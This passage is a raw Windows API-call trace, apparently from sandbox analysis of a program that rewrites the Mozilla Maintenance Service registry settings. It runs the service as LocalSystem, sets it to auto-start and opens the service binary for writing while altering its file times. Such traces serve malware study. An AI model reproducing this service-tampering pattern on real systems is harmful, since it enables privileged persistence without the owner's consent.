lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0217.477] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0217.477] RegCloseKey (hKey=0x148) returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0217.478] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0217.478] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0217.478] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0217.478] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0217.478] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0217.478] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.478] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.478] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.478] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.478] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.478] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.479] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0217.479] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0217.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0217.480] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0217.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.480] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.481] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.481] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.481] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.481] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.481] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.481] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.481] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0217.481] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0217.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0217.481] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0217.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.482] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0217.483] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0217.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.483] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.483] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.484] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0217.484] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x4d [0217.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0217.484] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", lpDst=0x21f2da0, nSize=0x4d | out: lpDst="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"") returned 0x4c [0217.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0217.484] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", cbData=0x4c | out: lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"") returned 0x0 [0217.485] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0217.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0217.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0217.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0217.485] LocalFree (hMem=0x7f03d0) returned 0x0 [0217.485] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", cbData=0x4c | out: lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"") returned 0x0 [0217.485] OpenServiceW (hSCManager=0x803918, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x2) returned 0x8038a0 [0217.485] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0217.510] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.510] RegCloseKey (hKey=0x148) returned 0x0 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0217.510] RegCloseKey (hKey=0x154) returned 0x0 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0217.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0217.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270)) returned 1 [0217.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0217.513] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0217.513] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x1d270 [0217.513] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: 